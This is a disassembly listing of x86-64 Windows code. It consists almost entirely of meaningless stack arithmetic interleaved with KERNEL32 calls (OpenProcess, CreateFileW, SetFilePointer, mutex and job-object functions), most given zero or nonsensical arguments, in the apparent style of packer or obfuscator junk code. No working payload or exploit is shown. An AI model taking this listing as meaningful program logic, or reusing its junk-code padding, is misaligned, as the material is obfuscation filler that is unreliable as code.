mov dword [rsp + 0x4884], eax
mov rax, qword [rsp + 0x80d8]
mov rcx, qword [0x14022bc00]
mov qword [rsp + 0xc478], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc478]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x8e60], rax
mov rax, qword [rsp + 0xacb0]
mov rcx, qword [rsp + 0xbe30]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3ff4], eax
mov rax, qword [rsp + 0xb020]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c78]
add eax, ecx
mov word [rsp + 0xb14], ax
lea rax, [rsp + 0x202c]
mov qword [0x14022be78], rax
mov rax, qword [rsp + 0x9fb8]
mov rcx, qword [rsp + 0x9668]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xaa60]
mov qword [rcx], rax
lea rax, [rsp + 0xab10]
mov qword [rsp + 0xc480], rax
mov rax, qword [rsp + 0xbbc8]
mov rcx, qword [rsp + 0xb0f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7568], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
movzx eax, word [rsp + 0x7e4]
mov word [rsp + 0x2054], ax
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
movsx eax, byte [rsp + 0x37b]
movsx ecx, byte [rsp + 0x3ae]
cdq
idiv ecx
mov byte [rsp + 0x35c], al
xor edx, edx
mov rax, qword [rsp + 0xae00]
mov eax, dword [rax]
mov ecx, 0x1ffb
div ecx
mov dword [rsp + 0x4924], eax
mov rax, qword [rsp + 0x8e60]
mov qword [rsp + 0xc488], rax
mov rax, qword [rsp + 0x9800]
mov rcx, qword [rsp + 0xb7e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x49d0], eax
mov rax, qword [rsp + 0xb360]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb348]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x16c], al
movsx eax, word [rsp + 0x1e28]
mov rcx, qword [rsp + 0xb6e0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14022ba98], ax
lea rcx, [rsp + 0xc490]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xa5e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb5a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1fc8], ax
movzx eax, word [rsp + 0x1f1c]
mov rcx, qword [rsp + 0xbe48]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa5c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc408]
mov rax, qword [rax]
mov qword [rsp + 0xc498], rax
mov rax, qword [rsp + 0x8d58]
mov rcx, qword [rsp + 0x89f8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc068], rax
mov eax, dword [rsp + 0x3a1c]
mov ecx, dword [rsp + 0x4718]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4308], eax
movsx eax, byte [rsp + 0x34e]
movsx ecx, byte [rsp + 0x2dd]
shl eax, cl
mov byte [rsp + 0x367], al
mov rax, qword [rsp + 0xb020]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa628]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ea8], ax
lea rax, [rsp + 0x1b10]
mov qword [rsp + 0xc4a0], rax
mov rax, qword [rsp + 0xbde8]
mov rcx, qword [rsp + 0x9668]
mov qword [rsp + 0xc4a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc4a8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [0x14022b840]
mov qword [rcx], rax
movzx eax, word [rsp + 0x87c]
movzx ecx, word [rsp + 0x1e34]
sub eax, ecx
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x7278]
mov qword [rsp + 0xc4b0], rax
mov rax, qword [rsp + 0xacd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x83f0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc458]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x133]
mov rcx, qword [rsp + 0xb9e8]
movsx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0xb640]
mov byte [rcx], al
lea rax, [rsp + 0x9258]
mov qword [rsp + 0xc4b8], rax
mov rax, qword [rsp + 0xc1c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x98f8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x37d], al
mov rax, qword [rsp + 0x9fc0]
mov eax, dword [rax]
mov dword [rsp + 0x4bb8], eax
mov rax, qword [rsp + 0xb468]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ff4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3c0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1510]
movsx ecx, word [rsp + 0x1d98]
and eax, ecx
mov word [0x14022a104], ax
movsx eax, word [rsp + 0x2024]
mov rcx, qword [rsp + 0xaec0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xae8], ax
mov rax, qword [rsp + 0xb110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb1c]
and eax, ecx
mov rcx, qword [rsp + 0x9b78]
mov word [rcx], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
movzx eax, word [rsp + 0x2050]
movzx ecx, word [rsp + 0x1f64]
xor eax, ecx
mov word [rsp + 0x1d60], ax
mov rax, qword [rsp + 0xa5f0]
mov rax, qword [rax]
mov qword [rsp + 0xc4c0], rax
mov eax, dword [rsp + 0x3f58]
mov ecx, dword [rsp + 0x479c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb058]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x5c]
movsx ecx, byte [rsp + 0x364]
shl eax, cl
mov byte [rsp + 0x312], al
movsx eax, word [0x14022a0d0]
mov rcx, qword [rsp + 0xb700]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1d0c], ax
lea rcx, [rsp + 0xbd58]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0x8e4]
movzx ecx, word [rsp + 0x1968]
sub eax, ecx
mov word [rsp + 0x1bb4], ax
mov rax, qword [rsp + 0xbbd8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa748]
sar rax, cl
mov rcx, qword [0x14022bb48]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaee8]
mov rax, qword [rax]
mov qword [rsp + 0xc4c8], rax
mov rax, qword [rsp + 0xbae0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8330]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc038], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xa380
mov rcx, qword [rsp + 0xc0b8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4974], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc220]
mov rax, qword [rax]
mov qword [rsp + 0xc4d0], rax
movzx eax, word [rsp + 0x1e94]
movzx ecx, word [rsp + 0x7ec]
sub eax, ecx
mov rcx, qword [rsp + 0xb5a8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x369]
mov rcx, qword [rsp + 0xc158]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x362], al
lea rax, [rsp + 0x48e4]
mov qword [rsp + 0xc4d8], rax
mov rax, qword [rsp + 0xa940]
mov rcx, qword [rsp + 0x9878]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa768], rax
mov rax, qword [rsp + 0xb8d8]
mov ecx, dword [rsp + 0x4920]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x41d0], eax
mov rax, qword [rsp + 0x96d8]
movzx eax, byte [rax]
mov byte [0x14022b816], al
movsx eax, word [rsp + 0x1fa0]
movsx ecx, word [rsp + 0xa08]
sar eax, cl
mov word [rsp + 0x810], ax
lea rax, [rsp + 0x10b4]
mov qword [rsp + 0xc4e0], rax
mov rax, qword [rsp + 0xb548]
movzx eax, word [rax]
movzx ecx, word [0x14022b850]
xor eax, ecx
mov word [rsp + 0x1e9c], ax
mov rax, qword [rsp + 0xb330]
mov rcx, qword [rsp + 0x98c0]
mov qword [rsp + 0xc4e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc4e8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb5b0], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x1408
mov rcx, qword [rsp + 0xc318]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4b04], eax
lea rax, [rsp + 0x88c0]
mov qword [rsp + 0xc4f0], rax
mov rax, qword [rsp + 0xa190]
mov ecx, dword [rsp + 0x491c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x49d4], eax
movzx eax, byte [rsp + 0x3b5]
mov byte [rsp + 0x3c1], al
movsx eax, word [rsp + 0x1c90]
movsx ecx, word [rsp + 0x1fd4]
sub eax, ecx
mov word [rsp + 0x1aa0], ax
lea rcx, [rsp + 0xb1a0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x1a94]
mov qword [0x14022be80], rax
mov rax, qword [0x14022b870]
mov rcx, qword [rsp + 0xbd88]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xaee0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9da0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f78]
add eax, ecx
mov word [rsp + 0xdcc], ax
mov eax, dword [rsp + 0x44c4]
mov ecx, dword [rsp + 0x4890]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa910]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc158]
movzx eax, byte [rax]
mov byte [rsp + 0x3c2], al
mov eax, dword [rsp + 0x3fb8]
mov rcx, qword [rsp + 0xb468]
mov qword [rsp + 0xc4f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc4f8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4304], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x11a6
mov rcx, qword [rsp + 0xbd08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4bbc], eax
lea rdx, [rsp + 0x4bb4]
mov rcx, qword [rsp + 0xa0e8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x48c8], eax
mov rax, qword [rsp + 0xbaf0]
mov rcx, qword [rsp + 0xb390]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7960], rax
movzx eax, byte [rsp + 0x242]
mov byte [rsp + 0x3c3], al
movsx eax, word [rsp + 0xb58]
mov rcx, qword [rsp + 0xb130]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9880]
mov word [rcx], ax
movzx eax, word [0x14022b990]
movzx ecx, word [rsp + 0x17d0]
and eax, ecx
mov word [0x140229fe8], ax
mov rax, qword [rsp + 0xc480]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7568]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8898], rax
mov rax, qword [rsp + 0x9810]
mov rcx, qword [rsp + 0xb2c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa200], rax
mov rax, qword [rsp + 0xb738]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa1f8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa628]
mov word [rcx], ax
mov rax, qword [rsp + 0xbf60]
movzx eax, word [rax]
mov word [rsp + 0x2058], ax
mov rax, qword [0x14022ba80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb1b0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x3c1], al
lea rax, [rsp + 0xc1a8]
mov qword [rsp + 0xc500], rax
mov rax, qword [rsp + 0xad78]
mov rcx, qword [rsp + 0xa618]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3e04], eax
mov rax, qword [rsp + 0xa418]
mov rax, qword [rax]
mov rcx, qword [0x14022bcd0]
mov qword [rsp + 0xc508], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc508]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x7668], rax
movsx eax, word [rsp + 0x1fac]
movsx ecx, word [rsp + 0x1930]
sub eax, ecx
mov word [0x14022a108], ax
mov rax, qword [rsp + 0xb6c0]
movzx eax, word [rax]
mov rcx, qword [0x14022bd98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bfc], ax
mov rax, qword [rsp + 0xc3a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbdf0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3a9], al
lea rax, [rsp + 0x3fe0]
mov qword [rsp + 0xc510], rax
mov rax, qword [rsp + 0xaee0]
mov rcx, qword [0x14022b870]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9cd8], rax
mov rcx, qword [rsp + 0xa500]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x342]
mov qword [rsp + 0xc518], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.Yg9zZL2uXWtGVYKTAPHRNBDNvsgDCXu7
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc520], rax
mov rax, qword [rsp + 0xc210]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7e48]
shr rax, cl
mov qword [rsp + 0xc1a8], rax
mov rax, qword [0x14022b950]
mov rcx, qword [rsp + 0xa158]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4710], eax
mov rax, qword [rsp + 0xa918]
movzx eax, word [rax]
mov word [rsp + 0x205c], ax
lea rcx, [rsp + 0xbb28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0x1e68]
mov rcx, qword [rsp + 0xa458]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14022b978], ax
mov rax, qword [rsp + 0xbbd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaa60]
mov qword [rsp + 0xc528], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc528]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9e70]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb368]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1214]
xor eax, ecx
mov word [rsp + 0xac0], ax
lea rdx, [rsp + 0x4bc0]
mov rcx, qword [rsp + 0x9df8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4928], eax
movsx eax, word [rsp + 0x18dc]
mov rcx, qword [0x14022bd60]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc2e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x84d0]
mov rcx, qword [rsp + 0xb318]
mov qword [rsp + 0xc530], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc530]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xbb78]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x374]
mov byte [rsp + 0x3c4], al
mov rax, qword [rsp + 0xa5f0]
mov rcx, qword [0x14022bc70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa3e0]
mov qword [rcx], rax
lea rcx, [rsp + 0xac30]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [rsp + 0x398c]
mov dword [rsp + 0x4bc4], eax
movzx eax, word [rsp + 0x1d38]
movzx ecx, word [rsp + 0x1848]
sub eax, ecx
mov word [rsp + 0x884], ax
mov rax, qword [0x14022a038]
mov qword [0x14022be88], rax
mov rax, qword [rsp + 0xa780]
mov ecx, dword [rsp + 0x492c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3d70], eax
movzx eax, byte [rsp + 0x377]
mov rcx, qword [rsp + 0xbda8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x23f], al
mov rax, qword [0x14022bb40]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1cf4]
and eax, ecx
mov word [rsp + 0xa1c], ax
mov rax, qword [rsp + 0xa198]
movzx eax, word [rax]
mov word [rsp + 0x2060], ax
movsx eax, byte [rsp + 0x35c]
mov rcx, qword [rsp + 0xbf40]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x282], al
mov rax, qword [rsp + 0xbed8]
mov eax, dword [rax]
mov rcx, qword [0x14022bbe0]
mov qword [rsp + 0xc538], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc538]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3fd4], eax
mov rax, qword [rsp + 0x97e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7b28], rax
movsx eax, word [rsp + 0xc34]
mov rcx, qword [0x14022b970]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1d04], ax
movzx eax, word [rsp + 0x1e70]
mov rcx, qword [rsp + 0x9e40]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14022ba38], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x790d
mov rcx, qword [rsp + 0xbe10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4740], eax
mov rax, qword [rsp + 0xbc48]
mov rax, qword [rax]
mov qword [rsp + 0xc540], rax
mov rax, qword [rsp + 0xafe8]
mov rax, qword [rax]
mov rcx, qword [0x14022be08]
mov qword [rsp + 0xc548], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc548]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa660], rax
lea rax, [rsp + 0xc4d0]
mov qword [rsp + 0xc550], rax
mov rax, qword [rsp + 0xb570]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb738]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xb78], ax
mov eax, dword [rsp + 0x3f48]
movzx ecx, al
mov eax, dword [rsp + 0x451c]
shr eax, cl
mov rcx, qword [rsp + 0xbe68]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x3ae]
mov byte [rsp + 0x3c5], al
mov rax, qword [rsp + 0xa538]
mov rcx, qword [rsp + 0x6f58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa750], rax
lea rax, [rsp + 0x488c]
mov qword [rsp + 0xc558], rax
movzx eax, byte [rsp + 0xa9]
movzx ecx, byte [rsp + 0x396]
add eax, ecx
mov byte [rsp + 0x361], al
mov rax, qword [rsp + 0xacd0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb270]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14022bc98], ax
movzx eax, word [0x14022be18]
mov rcx, qword [rsp + 0xa7b8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb090]
mov word [rcx], ax
lea rax, [rsp + 0x1fe0]
mov qword [rsp + 0xc560], rax
mov rax, qword [rsp + 0xb578]
mov rcx, qword [rsp + 0xb098]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc0e8], rax
movsx eax, byte [0x14022b813]
mov rcx, qword [rsp + 0xab28]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x90], al
mov rax, qword [rsp + 0xadb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3980]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3da8], eax
mov rax, qword [0x14022a048]
mov qword [rsp + 0xc568], rax
lea rcx, [rsp + 0x9920]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, word [rsp + 0xa1c]
movsx ecx, word [rsp + 0x2034]
sub eax, ecx
mov word [rsp + 0x1ee4], ax
mov rax, qword [rsp + 0xb848]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa468]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x13c8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9d68]
mov rax, qword [rax]
mov qword [0x14022be90], rax
lea rax, [rsp + 0x2004]
mov qword [rsp + 0xc570], rax
lea rdx, [rsp + 0x496c]
mov rcx, qword [rsp + 0xa008]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4868], eax
mov rax, qword [rsp + 0x9db0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f08]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc498], rax
lea rax, [rsp + 0x9f48]
mov qword [rsp + 0xc578], rax
mov rax, qword [rsp + 0xa580]
mov rcx, qword [rsp + 0xb8d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa888]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc580], rax
mov rax, qword [rsp + 0xbfd0]
mov rcx, qword [rsp + 0x9e00]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7e48], rax
movzx eax, byte [rsp + 0x23f]
movzx ecx, byte [rsp + 0x115]
sar eax, cl
mov byte [rsp + 0x182], al
lea rcx, [rsp + 0xa058]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [rsp + 0x3ea8]
mov ecx, dword [rsp + 0x488c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xba48]
mov dword [rcx], eax
lea rax, [rsp + 0x2ff]
mov qword [rsp + 0xc588], rax
lea rax, [rsp + 0xa9c]
mov qword [0x14022be98], rax
mov rax, qword [rsp + 0xb4a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc24]
and eax, ecx
mov rcx, qword [rsp + 0xa8e8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa168]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb08]
and eax, ecx
mov word [rsp + 0x2040], ax
mov rax, qword [0x14022bb08]
movzx eax, word [rax]
mov word [rsp + 0x2064], ax
mov rax, qword [rsp + 0xb640]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x342]
sub eax, ecx
mov byte [rsp + 0x3c4], al
mov eax, dword [rsp + 0x49d4]
mov dword [rsp + 0x4bc8], eax
mov rax, qword [rsp + 0xbaf0]
mov rcx, qword [0x14022b808]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc4f0]
mov qword [rcx], rax
movsx eax, word [rsp + 0xf30]
mov rcx, qword [rsp + 0xa628]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xce0], ax
mov rcx, qword [rsp + 0xae20]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0x2064]
mov rcx, qword [rsp + 0xade0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1874], ax
mov rax, qword [0x14022b948]
mov rcx, qword [rsp + 0xc168]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [0x14022b880]
mov qword [rcx], rax
lea rdx, [rsp + 0x4bcc]
mov rcx, qword [rsp + 0xa1c8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x48f8], eax
mov rax, qword [rsp + 0xc480]
mov rcx, qword [rsp + 0x9cf0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc350], rax
lea rax, [rsp + 0xb008]
mov qword [rsp + 0xc590], rax
mov rax, qword [rsp + 0xaa60]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xbd30]
shl rax, cl
mov qword [rsp + 0xb8c8], rax
mov rax, qword [rsp + 0xb548]
movzx eax, word [rax]
mov word [rsp + 0x2068], ax
mov rax, qword [rsp + 0xb7e0]
mov ecx, dword [rsp + 0x48f4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3fdc], eax
movzx eax, byte [rsp + 0x377]
movzx ecx, byte [rsp + 0x3b3]
sub eax, ecx
mov rcx, qword [rsp + 0xbd48]
mov byte [rcx], al
mov rax, qword [rsp + 0xae50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb200]
mov qword [rsp + 0xc598], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc598]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x71f0], rax
mov r9d, 0x111d
xor r8d, r8d
lea rdx, [rsp + 0x9e60]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4794], eax
movsx eax, byte [0x14022b814]
mov rcx, qword [rsp + 0x99c0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3b6], al
mov eax, dword [rsp + 0x49d4]
mov ecx, dword [rsp + 0x40ac]
sub ecx, eax
mov eax, ecx
mov dword [0x14022a10c], eax
mov rax, qword [rsp + 0xc2e8]
movzx eax, word [rax]
mov word [rsp + 0x206c], ax
movsx eax, word [rsp + 0xb4c]
mov rcx, qword [rsp + 0xbf08]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1ff0], ax
movzx eax, word [rsp + 0x2048]
mov rcx, qword [rsp + 0xa330]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc148]
mov word [rcx], ax
mov rax, qword [rsp + 0xb0f8]
mov rax, qword [rax]
mov rcx, qword [0x14022bba0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8238], rax
mov rax, qword [rsp + 0x9c08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8488]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa798], rax
mov rax, qword [rsp + 0xc3b0]
mov eax, dword [rax]
mov dword [rsp + 0x4bd0], eax
mov rax, qword [rsp + 0xc450]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x389]
sar eax, cl
mov byte [rsp + 0x37e], al
movsx eax, word [rsp + 0x1d80]
mov rcx, qword [rsp + 0xc040]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc24], ax
mov rax, qword [rsp + 0xbb40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb5a8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14022bd78]
mov word [rcx], ax
mov rax, qword [rsp + 0xbae0]
mov rax, qword [rax]
mov qword [rsp + 0xc5a0], rax
mov rax, qword [rsp + 0x9820]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d64]
shl eax, cl
mov word [rsp + 0x1df4], ax
lea rax, [rsp + 0x3dc8]
mov qword [rsp + 0xc5a8], rax
movzx eax, byte [0x140229f1d]
movzx ecx, byte [rsp + 0x345]
add eax, ecx
mov rcx, qword [rsp + 0xbd18]
mov byte [rcx], al
mov rax, qword [rsp + 0xa940]
mov rcx, qword [rsp + 0x9c08]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7cd0], rax
movsx eax, byte [rsp + 0x36b]
movsx ecx, byte [rsp + 0x38d]
add eax, ecx
mov rcx, qword [rsp + 0xbff8]
mov byte [rcx], al
mov eax, dword [rsp + 0x3a1c]
mov rcx, qword [rsp + 0xa580]
mov qword [rsp + 0xc5b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc5b0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xa888]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1b80]
mov word [rsp + 0x2070], ax
mov rax, qword [rsp + 0xbeb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xae38]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14022bc78], ax
mov rax, qword [rsp + 0x9df0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbea8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x79a8], rax
mov rax, qword [0x14022bde0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc248]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8800], rax
mov rax, qword [rsp + 0xa7f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e10]
and eax, ecx
mov word [rsp + 0x1f74], ax
movzx eax, word [rsp + 0x80c]
mov rcx, qword [rsp + 0x9e08]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1660], ax
mov rax, qword [rsp + 0xb620]
movzx eax, byte [rax]
mov byte [rsp + 0x3c6], al
mov rax, qword [rsp + 0x76f8]
